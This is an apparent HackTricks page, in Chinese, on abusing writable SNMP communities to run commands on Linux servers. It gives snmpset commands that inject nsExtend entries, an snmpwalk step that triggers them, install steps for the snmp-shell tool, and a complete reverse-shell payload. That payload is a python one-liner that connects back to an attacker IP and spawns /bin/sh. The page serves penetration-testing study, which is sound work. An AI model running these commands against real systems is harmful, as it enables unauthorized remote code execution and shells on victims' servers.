SNMP RCE

Support HackTricks

SNMP RCE

如果管理员忽视设备或服务器上的默认配置,攻击者可以利用SNMP。通过在Linux操作系统上滥用具有写权限的SNMP社区(rwcommunity),攻击者可以在服务器上执行命令。

使用附加命令扩展服务

要扩展SNMP服务并添加额外命令,可以将新行附加到“nsExtendObjects”表。这可以通过使用snmpset命令并提供必要的参数来实现,包括可执行文件的绝对路径和要执行的命令:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

注入命令以执行

向 SNMP 服务注入命令需要被调用的二进制文件/脚本的存在和可执行性。NET-SNMP-EXTEND-MIB 要求提供可执行文件的绝对路径。

要确认注入命令的执行,可以使用 snmpwalk 命令枚举 SNMP 服务。输出将显示命令及其相关细节,包括绝对路径:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

运行注入的命令

注入的命令被读取时,它会被执行。这种行为被称为**run-on-read()**。可以在snmpwalk读取期间观察到命令的执行。

使用SNMP获取服务器Shell

要控制服务器并获得服务器Shell,可以使用mxrch开发的python脚本,地址为https://github.com/mxrch/snmp-shell.git

或者,可以通过将特定命令注入SNMP手动创建反向Shell。这个命令由snmpwalk触发,建立与攻击者机器的反向Shell连接,从而实现对受害者机器的控制。您可以安装运行此所需的先决条件:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

或反向 shell:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

参考文献

支持 HackTricks

Last updated